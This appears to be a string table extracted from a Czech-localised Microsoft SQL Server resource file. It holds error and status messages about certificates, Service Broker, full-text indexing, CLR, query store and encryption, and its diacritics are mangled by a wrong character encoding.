e pYidru~en�ho k t�to instanci syst�mu SQL Server doalo k chyb: Nebyl nalezen ~�dn� certifik�t.

<PYi vyhled�v�n� certifik�tu veYejn�ho kl�
e pYidru~en�ho k t�to instanci syst�mu SQL Server doalo k chyb: Nalezen� certifik�t nen� v sou
asnosti platn�.

(PYi vyhled�v�n� certifik�tu veYejn�ho kl�
e pYidru~en�ho k t�to instanci syst�mu SQL Server doalo k chyb: Nalezen� certifik�t je pY�lia velk�.

PPYi vyhled�v�n� certifik�tu veYejn�ho kl�
e pYidru~en�ho k t�to instanci syst�mu SQL Server doalo k chyb: Nalezen� certifik�t nem� pYidru~en� ~�dn� priv�tn� kl�
.

PYi vyhled�v�n� certifik�tu veYejn�ho kl�
e pYidru~en�ho k t�to instanci syst�mu SQL Server doalo k nezn�m� vnitYn� chyb (%1!s!).

�Nedostatek pamti zabr�nil spuatn� slu~by Service Broker nebo Spr�vce pYenosu zrcadlen� datab�ze.

�Vyhled�v�n� tras a informac� o zabezpe
en� prostYednictv�m slu~by Broker Configuration Service.

�Spr�vce slu~by Service Manager je v jednou~ivatelsk�m re~imu zak�z�n.

Slu~ba Service Broker je v datab�zi %1!s! zak�z�na, proto~e je v n� ji~ povolena instance slu~by Service Broker se stejn�m ID.

V pYipojen� datab�zi jen pro 
ten� %1!s! nelze vytvoYit novou instanci slu~by Service Broker. Slu~ba Service Broker bude zak�z�na.

�V datab�zi %1!s! bude slu~ba Service Broker zak�z�na, proto~e identifik�tor GUID slu~by Service Broker v datab�zi (%2!s!) nen� shodn� s identifik�torem slu~by v zobrazen� sys.databases (%3!s!).

pSlu~ba Service Broker pYijala pro tuto konverzaci zpr�vu END CONVERSATION. Slu~ba Service Broker nepYenese zpr�vu. Zpr�va bude uchov�na do chv�le, kdy aplikace ukon
� konverzaci.

tProb�h� inicializace spr�vce slu~by Service Manager.

lProb�h� ukon
en� spr�vce slu~by Service Manager.

�Bhem odes�l�n� zpr�vy doalo k vnitYn� v�jimce: Chyba: %1!s!, stav: %2!s!. %3!s!

dVyhled�v�n� DNS se nezdaYilo s chybou: %1!s!.

`Slu~ba Service Broker pYijala pro tuto konverzaci chybovou zpr�vu. Slu~ba Service Broker nepYenese zpr�vu. Zpr�va bude uchov�na do chv�le, kdy aplikace ukon
� konverzaci.

HZadan� neplatn� adresa: %1!s!.

�Z kontextu zabezpe
en� nelze na
�st u~ivatelsk� jm�no. Chyba: %1!s!. Stav: %2!s!.

�PYi zpracov�n� tras zrcadlen� zprostYedkovatele doalo k chyb. Chyba: %1!s!. Stav: %2!s!.

�Nelze smrovat pY�choz� zpr�vu. Syst�mov� datab�ze msdb, kter� obsahuje informace o smrov�n�, nen� k dispozici.

DNelze smrovat pY�choz� zpr�vu. Syst�mov� datab�ze msdb, kter� obsahuje informaci o smrov�n�, nen� k dispozici. ZprostYedkovatel je v datab�zi msdb zak�z�n.

�Nelze smrovat pY�choz� zpr�vu. Syst�mov� datab�ze msdb, kter� obsahuje informace o smrov�n�, je v re~imu SINGLE USER.

pZprostYedkovatel je v datab�zi odes�latele zak�z�n.

�Zpr�vu nelze pYedat d�l, proto~e v t�to instanci syst�mu SQL Server je pYed�v�n� zak�z�no.

�N�zev c�lov� slu~by nelze nal�zt. OvYte, zda je n�zev slu~by zad�n spr�vn a zda jsou podporov�ny informace o smrov�n�.

�Nedoalo k �pln� inicializaci spr�vce zrcadlen� zprostYedkovatele.

�Nelze nal�zt c�lov�ho zprostYedkovatele v m�stn� instanci syst�mu SQL Server.

�N�zev c�lov� slu~by odpov�d� trase LOCAL, ale v m�stn� instanci syst�mu SQL Server nen� ~�dn� slu~ba s t�mto n�zvem.

�Klasifikace byla zpo~dna, proto~e nyn� prob�h� aktualizace informac� o smrov�n�.

�PYipojen� bylo ukon
eno vzd�len�m koncem nebo bhem pY�jmu dat doalo k chyb: %1!s!

�Upozornn�: pYevod %1!s! na %2!s! zposobil ztr�tu informac�.

�Fulltextov� katalog %1!s! (%2!s!) v datab�zi %3!s! (%4!s!) nem� dostatek syst�mov�ch prostYedko. Vaechna prob�haj�c� plnn� budou pozastavena, dokud nebude k dispozici v�ce prostYedko. K�d dovodu: %5!s!. Chyba: %6!s!. Pokud se tato zpr�va objevuje 
asto, zkuste serializovat fulltextov� indexov�n� pro v�ce katalogo.

PMonitorov�n� stavu fulltextov�ho katalogu ohl�silo chybu pro fulltextov� katalog %1!s! (%2!s!) v datab�zi %3!s! (%4!s!). K�d dovodu: %5!s!. Chyba: %6!s!. Syst�m znovu spust� vaechna prob�haj�c� plnn� od pYedchoz�ho kontroln�ho bodu. Pokud se tato zpr�va objevuje 
asto, navativte web Knihy online pro SQL Server, kde naleznete pomoc pYi Yeaen� pot�~�. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Fulltextov� katalog %1!s! (%2!s!) v datab�zi %3!s! (%4!s!) bude znovu pYipojen, aby se zotavil po chyb. K�d dovodu: %5!s!. Chyba: %6!s!. Pokud se tato zpr�va objevuje 
asto, navativte web Knihy online pro SQL Server, kde naleznete pomoc pYi Yeaen� pot�~�. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

,Informa
n�: Fulltextov� indexer po~�dal o zmnu stavu pro katalog %1!s! (%2!s!) v datab�zi %3!s! (%4!s!). Nov� stav: %5!s!, dovod: %6!s! (%7!s!).

XMonitor fulltextov�ho katalogu ohl�sil katalog %1!s! (%2!s!) v datab�zi %3!s! (%4!s!) ve stavu %5!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

`Chyba: Celkov� po
et polo~ek ve fulltextov�m katalogu s ID %1!s! v datab�zi s ID %2!s! pYesahuje podporovan� limit. Pomoc pYi Yeaen� pot�~� naleznete na webu Knihy online.

PProb�h� zmna stavu fulltextov�ho katalogu %2!s! (%3!s!) v datab�zi %4!s! (%5!s!) na stav %1!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

Upozornn�: Zmna stavu fulltextov�ho katalogu %2!s! (%3!s!) v datab�zi %4!s! (%5!s!) na stav %1!s! se nezdaYila. Chyba: %6!s!.

�Upozornn�: Bhem fulltextov�ho plnn� %1!s! pro tabulku nebo indexovan� zobrazen� %2!s! v datab�zi %3!s! (ID tabulky nebo indexovan�ho zobrazen� %4!s!, ID datab�ze %5!s!) doalo k chyb. Chyba: %6!s!.

�Informa
n�: Fulltextov� plnn� %1!s! pro tabulku nebo indexovan� zobrazen� %2!s! (ID tabulky nebo indexovan�ho zobrazen� %3!s!, ID datab�ze %4!s!) bylo inicializov�no. D�l
� �koly plnn�: %5!s!.

�Chyba: Bhem inicializace fulltextov�ho plnn� %1!s! pro tabulku nebo indexovan� zobrazen� %2!s! v datab�zi %3!s! (ID tabulky nebo indexovan�ho zobrazen� %4!s!, ID datab�ze %5!s!) doalo k chyb. Chyba: %6!s!.

�Informa
n�: Bude pokra
ovat fulltextov� plnn� %1!s! pro tabulku nebo indexovan� zobrazen� %1!s! v datab�zi %2!s! (ID tabulky nebo indexovan�ho zobrazen� %3!s!, ID datab�ze %4!s!). PYedchoz� po
et zpracovan�ch dokumento: %5!s!, po
et chyb: %6!s!.

Fulltextov� plnn� %1!s! pro tabulku %2!s! (ID tabulky %3!s!, ID datab�ze %4!s!) bylo po do
asn� chyb znovu inicializov�no. Po
et dokumento zpracovan�ch pYed chybou: %5!s!, po
et chyb: %6!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Chyba: Bhem pokusu o obnoven� inicializace fulltextov�ho plnn� %1!s! pro tabulku nebo indexovan� zobrazen� %2!s! v datab�zi %3!s! (ID tabulky nebo indexovan�ho zobrazen� %4!s!, ID datab�ze %5!s!) doalo k chyb. Chyba: %6!s!.

Upozornn�: Fulltextov� katalog %1!s! pou~�v� svazek FAT. Bezpe
nostn� a rozd�lov� z�lohov�n� nen� pro tento katalog podporov�no.

8Upozornn�: Pokus o z�sk�n� rozhran� indexeru slu~by MSFTESQL pro fulltextov� katalog %1!s! (%2!s!) v datab�zi %3!s! (%4!s!) se nezdaYil. Chyba: %5!s!.

�Upozornn�: Fulltextov�mu plnn� pro tabulku nebo indexovan� zobrazen� %1!s! se nepodaYilo odeslat d�vku dat slu~b MSFTESQL (ID tabulky nebo indexovan�ho zobrazen� ID %2!s!, ID katalogu %3!s!, ID datab�ze %4!s!). Chyba: %5!s!.

Upozornn�: Fulltextov� plnn� pro tabulku nebo indexovan� zobrazen� %1!s! ohl�silo bhem odes�l�n� d�vky dat slu~b MSFTESQL (ID tabulky nebo indexovan�ho zobrazen� ID %2!s!, ID katalogu %3!s!, ID datab�ze %4!s!) nedostatek prostYedko. Chyba: %5!s!.

�Informa
n�: Limit pro zastaven� vyhled�v�n� byl dosa~en. Fulltextov� dotaz pravdpodobn vr�til m�n Y�dko, ne~ by ml.

�Informa
n�: Podm�nka fulltextov�ho vyhled�v�n� obsahovala jedno nebo v�ce neobsa~n�ch slov.

�Poskytnut� typ dokument m� hodnotu NULL. X�dek nebude fulltextov indexov�n.

�Typ dokumentu pYesahuje povolenou maxim�ln� d�lku. X�dek nebude fulltextov indexov�n.

�Hodnota typu dokumentu je poakozena. X�dek nebude fulltextov indexov�n.

hIntern� chyba: X�dek nelze fulltextov indexovat. Obslu~n� rutina protokolu byla vyvol�na mimo sekvenci. Tato zpr�va je pouze informa
n�. Nen� vy~adov�na ~�dn� akce u~ivatele.

�X�dek nebyl nalezen. Bhem indexov�n� byl Y�dek vymaz�n nebo aktualizov�n.

xUpozornn�: Modul pro dlen� slov, filtr nebo obslu~n� rutina protokolu, kter� byly pou~ity katalogem %1!s!, v t�to instanci neexistuj�. Pomoc� procedur sp_help_fulltext_catalog_components a sp_help_fulltext_system_components vyhledejte komponenty, kter� se neshoduj�. Doporu
ujeme optovn� sestaven� katalogu.

�Informa
n�: Nebyl nalezen ~�dn� jazyk podporovan� fulltextov�m vyhled�v�n�m.

pChyba: Fulltextov� plnn� %1!s! pro tabulku nebo indexovan� zobrazen� %2!s! (ID tabulky nebo indexovan�ho zobrazen� %3!s!, ID datab�ze %4!s!) je ukon
eno z dovodu pYedchoz� chyby.

$Informativn�: NaplHov�n� fulltextov�ho %1!s!u pro tabulku nebo indexovan� zobrazen� %2!s! (ID tabulky nebo indexovan�ho zobrazen� %3!s!, ID datab�ze %4!s!) bylo pozastaveno syst�mem, proto~e datab�ze nen� k dispozici. Syst�m bude pokra
ovat, a~ bude datab�ze dostupn�.

tInformativn�: NaplHov�n� fulltextov�ho %1!s!u pro tabulku nebo indexovan� zobrazen� %2!s! (ID tabulky nebo indexovan�ho zobrazen� %3!s!, ID datab�ze %4!s!) bylo zruaeno u~ivatelem.

�Informa
n�: Fulltextov� plnn� %1!s! pro tabulku nebo indexovan� zobrazen� %2!s! (ID tabulky nebo indexovan�ho zobrazen� %3!s!, ID datab�ze %4!s!) bylo dokon
eno. Po
et zpracovan�ch dokumento: %5!s!. Po
et dokumento, jejich~ zpracov�n� se nezdaYilo: %6!s!. Po
et dokumento, jejich~ zpracov�n� bude opakov�no: %7!s!.

HInforma
n�: Opakovan� prochod fulltextov�ho plnn� %1!s! pro tabulku nebo indexovan� zobrazen� %2!s! (ID tabulky nebo indexovan�ho zobrazen� %3!s!, ID datab�ze %4!s!) byl dokon
en. Po
et zpracovan�ch opakovan�ch dokumento: %5!s!. Po
et dokumento, jejich~ zpracov�n� se nezdaYilo: %6!s!.

(Chyba: Vaechna prob�haj�c� fulltextov� plnn� pro katalog %1!s! (%2!s!) v datab�zi %3!s! (%4!s!) byla ukon
ena z dovodu chyby. Chyba: 0x%5!s!.

Upozornn�: Identita fulltextov�ho katalogu v adres�Yi %1!s! neodpov�d� datab�zi %2!s!. Fulltextov� katalog nelze pYipojit.

�Upozornn�: Cesta fulltextov�ho katalogu %1!s! je neplatn�. PYesahuje d�lkov� limit nebo se jedn� o relativn� cestu, skryt� adres�Y nebo o cestu UNC. Fulltextov� katalog nelze pYipojit. VyYeate probl�m optovn�m sestaven�m katalogu.

Upozornn�: Vaechna prob�haj�c� fulltextov� plnn� pro katalog %1!s! (%2!s!) v datab�zi %3!s! (%4!s!) jsou pozastavena. K�d dovodu: %5!s!. Chyba: %6!s!. Pokud se tato zpr�va objevuje 
asto, na webu Knihy online naleznete pomoc pYi ladn� v�konu indexov�n�.

�Informa
n�: Monitorov�n� stavu fulltextov�ho katalogu nahl�silo chybu pro katalog %1!s! (%2!s!) v datab�zi %3!s! (%4!s!). K�d dovodu: %5!s!. Chyba: %6!s!. Katalog je poakozen a vaechna prob�haj�c� plnn� budou zastavena. Chcete-li po chyb obnovit plnn�, pou~ijte optovn sestaven� katalog a spusete plnn� od �pln�ho za
�tku.

�Upozornn�: Datab�zi %1!s! nelze bhem odpojen� upravovat, proto~e je ve stavu jen pro 
ten�, pohotovostn�m stavu nebo vypnut�m stavu. Fulltextov� katalog nen� vyYazen a atribut @keepfulltextindexfile = false je ignorov�n.

�Informa
n�: Fulltextov� sledov�n� automatick�ch zmn je pro tabulku nebo indexovan� zobrazen� %1!s! (ID tabulky a indexovan�ho zobrazen� %2!s!, ID datab�ze %3!s!) vypnuto z dovodu z�va~n� chyby pYi proch�zen�.

0Bylo zjiatno nekonzistentn� rozliaen� diakritiky fulltextov�ho katalogu. Fulltextov� katalog pro ID katalogu %1!s!, ID datab�ze %2!s! byl obnoven.

�V�choz� fulltextov� katalog v datab�zi %1!s! neexistuje nebo u~ivatel nem� opr�vnn� k t�to akci.

$Upozornn�: Bhem plnn� fulltextov�ho indexu pro tabulku nebo indexovan� zobrazen� %1!s! (ID tabulky nebo indexovan�ho zobrazen� %2!s!, ID datab�ze %3!s!) nebyl nalezen ~�dn� pY�sluan� filtr, hodnota fulltextov�ho kl�
e %4!s!. Nkter� sloupce Y�dku nebyly indexov�ny.

�Upozornn�: Bhem plnn� fulltextov�ho indexu pro tabulku nebo indexovan� zobrazen� %1!s! (ID tabulky nebo indexovan�ho zobrazen� %2!s!, ID datab�ze %3!s!) nebyl nalezen ~�dn� pY�sluan� modul pro dlen� na slova, hodnota fulltextov�ho kl�
e %4!s!. Pro nkter� sloupce Y�dku byly pou~it neutr�ln� modul pro dlen� na slova.

\Upozornn�: Bhem plnn� fulltextov�ho indexu pro tabulku nebo indexovan� zobrazen� %1!s! (ID tabulky nebo indexovan�ho zobrazen� %2!s!, ID datab�ze %3!s!), hodnota fulltextov�ho kl�
e %4!s!, nebyl pro vlo~en� objekt nalezen ~�dn� pY�sluan� filtr. Nkter� vlo~en� objekty v Y�dku nelze indexovat.

 Informativn�: NaplHov�n� fulltextov�ho %1!s!u pro tabulku nebo indexovan� zobrazen� %2!s! (ID tabulky nebo indexovan�ho zobrazen� %3!s!, ID datab�ze %4!s!) bylo pozastaveno. Po
et zpracovan�ch dokumento: %5!s!. Po
et dokumento, jejich~ zpracov�n� se nezdaYilo: %6!s!.

tUpozornn�: Pozastavit lze pouze spuatn� pln� plnn�. PY�kaz je ignorov�no. Jin� typ plnn� lze jen zastavit. Plnn� pak bude pokra
ovat, kdy~ znovu spust�te stejn� typ proch�zen�.

�Upozornn�: Nechat pokra
ovat lze pouze pln� plnn�, kter� bylo pozastaveno. PY�kaz je ignorov�n.

�Upozornn�: as dokon
en� posledn�ho plnn� fulltextov�ho katalogu v adres�Yi %1!s! neodpov�d� datab�zi %2!s!. Fulltextov� katalog je pYipojen a pravdpodobn bude nutn� prov�st jeho plnn� znovu.

�Upozornn�: Bhem upgradu je fulltextov� index pro tabulku %1!s! zak�z�n, proto~e nejm�n jeden fulltextov� kl�
ov� sloupec, fulltextov� sloupec nebo typov� sloupec je nedeterministick� nebo nepYesn�, netrval�, po
�tan� sloupec.

�Upozornn�: Bhem upgradu je fulltextov�m katalogu %1!s! v datab�zi %2!s! nastaven re~im offline, proto~e se nezdaYilo tento katalog vytvoYit v cest %3!s!. Opravte cestu fulltextov�ho katalogu a po upgradu optovn sestavte fulltextov� katalog.

dInformativn�: NaplHov�n� fulltextov�ho %1!s!u pro tabulku nebo indexovan� zobrazen� %2!s! (ID tabulky nebo indexovan�ho zobrazen� %3!s!, ID datab�ze %4!s!) bylo pozastaveno.

,Upozornn�: Sestaven� rozhran� Microsoft .NET Framework %1!s!, kter� chcete zaregistrovat, nen� pln testov�no v hostovan�m prostYed� syst�mu SQL Server a nen� podporov�no. Pokud budete v budoucnosti prov�dt upgrade nebo �dr~bu tohoto sestaven� nebo rozhran� .NET Framework, vaae integra
n� rutina modulu CLR mo~e pYestat pracovat. Podrobnja� informace naleznete na webu Knihy online pro SQL Server.

0Upozornn�: Sestaven� %1!s! klienta syst�mu SQL Server, kter� chcete zaregistrovat, nen� pln testov�no v hostovan�m prostYed� syst�mu SQL Server.

\Dom�na AppDomain %1!s! (%2!s!) je ozna
ena jako uvolnn� z dovodu prob�haj�c�ch operac� modulu CLR (Common Language Runtime) nebo modulu DDL (Data Definition Language).

�Dom�na AppDomain %1!s! (%2!s!) je ozna
ena jako uvolnn� z dovodu pYet�~en� pamti.

NepodaYilo se zaYadit modul CLR do fronty po spuatn� syst�mu SQL Server. K�d chyby: %1!s!. Modul CLR bude spuatn na po~�d�n�.

�Provodce pl�nem %1!s! po automatick�m parametrizov�n� pomoc� parametrizace FORCED nebo SIMPLE odpov�d� pY�kazu, ale pomocn� parametr RECOMPILE, kter� provodce obsahuje, byl ignorov�n. Pomocn� parametr RECOMPILE nen� u automaticky parametrizovan�ch pY�kazo podporov�n. Zva~te vyYazen� tohoto provodce pl�nem nebo odstrann� pomocn�ho parametru RECOMPILE z tohoto provodce.

LPY�kaz %1!s! byl proveden v objektu %2!s! hostitelem %3!s! s ID hostitelsk�ho procesu %4!s! pomoc� mo~nost� WAIT_AT_LOW_PRIORITY s hodnotami MAX_DURATION = %5!s! a ABORT_AFTER_WAIT = BLOCKERS. Blokov�n� u~ivatelsk�ch relac� bude ukon
eno po uplynut� maxim�ln�ho 
asov�ho intervalu 
ek�n�.

\Upozornn�: Byla identifikov�na existuj�c� obnoviteln� operace se stejn�mi mo~nostmi pro stejn� index na %1!s!. M�sto nov� operace bude obnovena tato existuj�c� operace.

�Optovn spustiteln� operace indexov�n� pro index %1!s! na objektu %2!s! byla pozastavena.

�Obnoviteln� index %1!s! na objektu %2!s! byl pozastaven na dobu %3!s! h.

�Byl proveden pY�kaz ALTER INDEX %1!s! pro index %2!s! na objektu %3!s! hostitelem %4!s!.

HOperace aktualizace pro vaechna zobrazen� sn�mku selhala, proto~e pr�v prob�hala jin� operace aktualizace (bu pro vaechna, nebo pro jedno zobrazen� sn�mku).

Operace aktualizace pro zobrazen� sn�mku %1!s! selhala, proto~e u~ prob�hala jin� operace aktualizace pro stejn� zobrazen� sn�mku.

Operace aktualizace pro zobrazen� sn�mku %1!s! selhala, proto~e u~ prob�hala operace aktualizace pro vaechna zobrazen� sn�mko.

�Upozornn�: Operace vytvoYen� indexu byla zah�jena s MAXDOP %1!s!. Operace bude pokra
ovat s hodnotou MAXDOP %2!s!.

8ZaYazen� �lohy, kter� mla zaregistrovat hlavn� n�zev slu~by (SPN) pro slu~bu syst�mu SQL Server, do fronty se nezdaYilo. OvYov�n� protokolem Kerberos nebude mo~n�, dokud nebude n�zev SPN pYid�n ru
n nebo dokud nedojde k restartov�n� syst�mu SQL Server. K�d chyby SQLOS: %1!s!.

pOptovn� konfigurace spr�vce prostYedko se zdaYila.

�Rekonfigurace spr�vce zdrojo zjistila probl�m (k�d HRESULT: 0x%1!s!, pY�
ina: %2!s!) pYi odes�l�n� identifik�toro aktivn�ch extern�ch fondo prostYedko slu~b launchpad. Opakovan� konfigurace kvoli tomu nesel~e.

�Byla zjiatna zmna konfigurace koncov�ho bodu. Nyn� probhne restartov�n� spr�vce slu~by Service Broker a pYenosu.

�Byla zjiatna zmna certifik�tu. Nyn� probhne restartov�n� spr�vce slu~by Service Broker a pYenosu.

�Byla pYijata poakozen� zpr�va. Zpr�va, kter� nebyla zaYazena do sekvence, mla nenulov� 
�slo sekvence. Doalo k tomu ve zpr�v s ID konverzace %1!s!, inici�tor: %2!s!, poYadov� 
�slo zpr�vy: %3!s!.

�Bhem z�pisu polo~ky jen pro 
ten� nebo polo~ky TEMPDB XDES doalo k chyb. Server bude vypnut.

�PYi prov�dn� ozn�men� o transakci pro objekt %1!s! ud�losti %2!s! doalo k chyb

�Bhem vr�cen� zpt doalo k chyb. Prob�h� vyp�n�n� datab�ze (um�stn�: %1!s!).

�Chyba bhem uvolHov�n� vyhrazen�ho m�sta protokolu: %1!s! m�sto %2!s!, k�d %3!s!, stav %4!s!.

�NepodaYilo se zaznamenat v�sledek m�stn� dvouf�zov� transakce z�pisu. Prob�h� pYep�n�n� datab�ze do re~imu offline.

hUpozornn�: Mo~nost %1!s! nen� pro tabulku %2!s! pou~iteln�, proto~e nem� clusterovan� index. Tato mo~nost bude pou~ita jen pro neclusterovan� indexy tabulky, pokud njak� m�.

lPY�kaz %1!s! byl proveden v datab�zi %2!s! v tabulce %3!s! hostitelem %4!s! s ID hostitelsk�ho procesu %5!s! pomoc� mo~nost� WAIT_AT_LOW_PRIORITY s hodnotami MAX_DURATION = %6!s! a ABORT_AFTER_WAIT = BLOCKERS. Blokov�n� u~ivatelsk�ch relac� bude ukon
eno po uplynut� maxim�ln�ho 
asov�ho intervalu 
ek�n�.

�PY�kaz ALTER TABLE SWITCH byl proveden v datab�zi %1!s! v tabulce %2!s! hostitelem %3!s! s ID hostitelsk�ho procesu %4!s! s c�lovou tabulkou %5!s! pomoc� mo~nost� WAIT_AT_LOW_PRIORITY s hodnotami MAX_DURATION = %6!s! a ABORT_AFTER_WAIT = BLOCKERS. Blokov�n� u~ivatelsk�ch relac� bude ukon
eno po uplynut� maxim�ln�ho 
asov�ho intervalu 
ek�n�.

DPY�kazy %1!s! nejsou ovYeny.

tSyst�m SQL Server byl spuatn v re~imu Slu~ba jazyka.

�PY�kazy %1!s! s mo~nost� %2!s! nejsou podporov�ny v aplikaci na datov� vrstv.

�PY�kazy %1!s! nejsou podporov�ny na nejvyaa� �rovni v aplikaci na datov� vrstv.

�Operaci nelze prov�st jako u~ivatel %1!s!, proto~e neexistuje.

�Velikost mezipamti objektu sekvence %1!s! byla nastavena na hodnotu NO CACHE.

�Velikost mezipamti objektu sekvence %1!s! je vta� ne~ po
et dostupn�ch hodnot.

0Operaci nejde dokon
it, proto~e nejde nav�zat pYipojen� k souboru SBS. Zkuste operaci spustit znovu. Pokud pot�~e potrvaj�, obraete se na podporu.

dProstorov� index je zak�z�n nebo je offline.

pProstorov� objekt nen� definov�n v oboru predik�tu.

�Prostorov� indexy nepodporuj� operand porovn�v�n�, kter� je zad�n v predik�tu.

�Prostorov� indexy nepodporuj� kompar�tor, kter� je zad�n v predik�tu.

�Prostorov� indexy nepodporuj� n�zev metody, kter� je zad�n v predik�tu.

�Operand porovn�v�n� odkazuje na sloupec, kter� je definov�n pod predik�tem

�Operand porovn�v�n� v predik�tu porovn�v�n� nen� deterministick�.

�Prostorov� parametr odkazuje na sloupec, kter� je definov�n pod predik�tem

�V podm�nce nelze nal�zt po~adovanou bin�rn� prostorovou metodu.

dNelze nal�zt po~adovan� predik�t porovn�v�n�.

�Upozornn�: PY�kaz %1!s! je nucen b~et WITH (%2!s! = ON), proto~e konfigurace s rozsahem datab�ze ELEVATE_%3!s! je nastavena na FAIL_UNSUPPORTED. PY�kaz mo~e selhat. Dala� informace najdete v protokolu chyb SQL Serveru.

`[DbId:%1!s!] ADR je pro datab�zi povolen�.

`[DbId:%1!s!] ADR je pro datab�zi zak�zan�.

�Nastavuje se mo~nost datab�ze query_store %1!s! na %2!s! pro datab�zi %3!s!.

�Nastavuje se mo~nost datab�ze query_store %1!s! na %2!s! pro datab�zi %3!s!.

��lo~iat dotazo se inicializuje. Toto je jenom informa
n� zpr�va. Nen� nutn� ~�dn� akce u~ivatele.

�Nastavuje se mo~nost datab�ze query_store %1!s! na %2!s! pro datab�zi %3!s!.

�Nastavuje se mo~nost datab�ze query_store %1!s! na %2!s! %3!s! pro datab�zi %4!s!.

xKlonov�n� datab�ze pro %1!s! se zah�jilo s c�lem %2!s!.

@Datab�ze %1!s! je klonovanou datab�z�. Tato datab�ze by se mla pou~�vat jenom k diagnostick�m �
elom a nepodporuje se jej� pou~it� v produk
n�m prostYed�.

�Klonov�n� datab�ze pro %1!s! se dokon
ilo. Klonovan� datab�ze je %2!s!.

�Z�loha klonu byla �span provedena a byla ulo~ena do %1!s!.

4Z�loha klonu selhala.

pU z�lohy klonu %1!s! selhal pY�kaz RESTORE VERIFY.

\OvYen� datab�ze klonu probhlo �span.

HOvYen� datab�ze klonu selhalo.

�Mo~nosti NO_STATISTICS a NO_QUERYSTORE jsou jako sou
�st pY�kazu VERIFY_CLONE zapnuty.

TDatab�ze %1!s! je klonovan� datab�ze.

`Definice objektu %1!s!  %2!s!  byla aktualizov�na jako sou
�st zmny mo~nosti zahrnut� datab�ze %3!s!, proto~e tento objekt z�vis� na pYeddefinovan� funkci %4!s!. V zahrnut� datab�zi se v�stupn� kolace t�to vestavn� funkce zmnila na %5!s!, kter� je odlian� od kolace pou~it� v nezahrnut� datab�zi.

DETACH

XNelze nal�zt priv�tn� kl�
 certifik�tu.

�Velikost priv�tn�ho kl�
e certifik�tu nen� kompatibiln� se zprostYedkovatelem kryptografick�ch slu~eb.

�Velikost veYejn�ho kl�
e certifik�tu nen� kompatibiln� s zprostYedkovatelem kryptografick�ch slu~eb.

�Velikost priv�tn�ho kl�
e certifik�tu nen� kompatibiln� se zaaifrovan�m kl�
em zmny kl�
o.

�Velikost veYejn�ho kl�
e certifik�tu nen� kompatibiln� s podpisem z�hlav� zabezpe
en�.

dPriv�tn� kl�
 certifik�tu je chr�nn heslem.

�Kl�
 zmny kl�
o m� po deaifrov�n� priv�tn�m kl�
em certifik�tu neplatnou velikost.

�Objekt zabezpe
en� datab�ze, kter� byl pou~it pro vyhled�n� certifik�tu, je neplatn�.

�Objekt zabezpe
en� datab�ze nem� ~�dn� mapov�n� k objektu zabezpe
en� serveru.

hCertifik�t je pro pY�kaz BEGIN DIALOG zak�z�n.

<Certifik�t nebyl nalezen.

DCertifik�t nen� dosud platn�.

HPlatnost certifik�tu vypraela.

tCertifik�t je vta� ne~ povolen� maxim�ln� velikost.

4
asov� raz�tko zpr�vy

DDO INSTANCE ZPROSTXEDKOVATELE

DO SLU}BY

DZ INSTANCE ZPROSTXEDKOVATELE

ZE SLU}BY

(KONTRAKT SLU}BY

 TYP ZPR�VY

<KONTROLA INTEGRITY ZPR�VY

4N�HODN� XETZEC KL�E

 KL� RELACE

,KL� V�MNY KL�n

\N�ZEV VYSTAVITELE ZDROJOV�HO CERTIFIK�TU

TS�RIOV� �SLO ZDROJOV�HO CERTIFIK�TU

XN�ZEV VYSTAVITELE C�LOV�HO CERTIFIK�TU

PS�RIOV� �SLO C�LOV�HO CERTIFIK�TU

@PODPIS Z�HLAV� ZABEZPEEN�

 TLO ZPR�VY

 PROHL�`EN�

0clusterovan� index

0prim�rn� index xml

Lru
n� pYevzet� slu~eb pYi selh�n�

Xautomatick� pYevzet� slu~eb pYi selh�n�

XpYevzet� slu~eb pYi selh�n� od partnera

0synchronizace rol�

DFORCE_SERVICE_ALLOW_DATA_LOSS

pYidat

do

z

povolit

zak�zat

 pYemapovat

INSERT

UPDATE

DELETE

$WHEN MATCHED

,WHEN NOT MATCHED

@WHEN NOT MATCHED BY SOURCE

(TOP nebo OFFSET

GROUP BY

HAVING

ORDER BY

 OUTPUT INTO

SELECT

WHERE

 neo
ek�van�

�Rozhran� API pro aifrov�n� nalezlo pYi pokusu o proveden� deaifrovac� operace chybn� data.

OUTPUT

(Do
asn� tabulky

Popisky

0skupina dostupnosti

$tabulka typu

ud�lost

c�l

$akce ud�losti

(relace ud�losti

,bal�
ek ud�losti

(objekt ud�losti

Dkompar�tor predik�tu ud�losti

Tatribut ud�losti nebo zdroj predik�tu

8pYizposobiteln� atribut

,predik�t ud�losti

(zdroj predik�tu

,atribut ud�losti

$segmentovan�

(nesegmentovan�

 fond zdrojo

$skupina �loh

(spr�vce zdrojo

pYesunout

 UPDATETEXT

WRITETEXT

�vytr~en� str�nka (o
ek�v�n podpis: 0x%1!s!; skute
n� podpis: 0x%2!s!)

�nespr�vn� kontroln� sou
et (o
ek�v�n: 0x%1!s!; skute
n�: 0x%2!s!)

<neplatn� mo~nost ochrany

8neplatn� aifrovac� kl�


<nelze deaifrovat str�nku

�chyba pYi deaifrov�n� (o
ek�van�: 0x%1!s!; aktu�ln�: 0x%2!s!)

|nelze deaifrovat str�nku, proto~e nebyl nalezen kl�
 DEK

4CREATION_DISPOSITION

,PROVIDER_KEY_NAME

 zdroj kl�
e

$ENCRYPTION BY

$veYejn� kl�


$priv�tn� kl�


\zprostYedkovatel kryptografick�ch slu~eb

�cesta knihovny DLL zprostYedkovatele kryptografick�ch slu~eb

xpopisn� n�zev zprostYedkovatele kryptografick�ch slu~eb

verze

guid

4vytvoYit povYen� pro

tn�zev kl�
e zprostYedkovatele kryptografick�ch slu~eb

(trvalost kl�
e

�d�lka kryptografick�ho otisku kl�
e zprostYedkovatele kryptografick�ch slu~eb

�d�lka objektu blob kl�
e zprostYedkovatele kryptografick�ch slu~eb

 QUERY_STORE

PDESIRED_STATE' nebo 'OPERATION_MODE

0MAX_STORAGE_SIZE_MB

|FLUSH_INTERVAL_SECONDS' nebo 'DATA_FLUSH_INTERVAL_SECONDS

@QUERY_STORE CLEANUP_POLICY

@STALE_QUERY_THRESHOLD_DAYS

0hlavn� kl�
 sloupce

8aifrovac� kl�
 sloupce

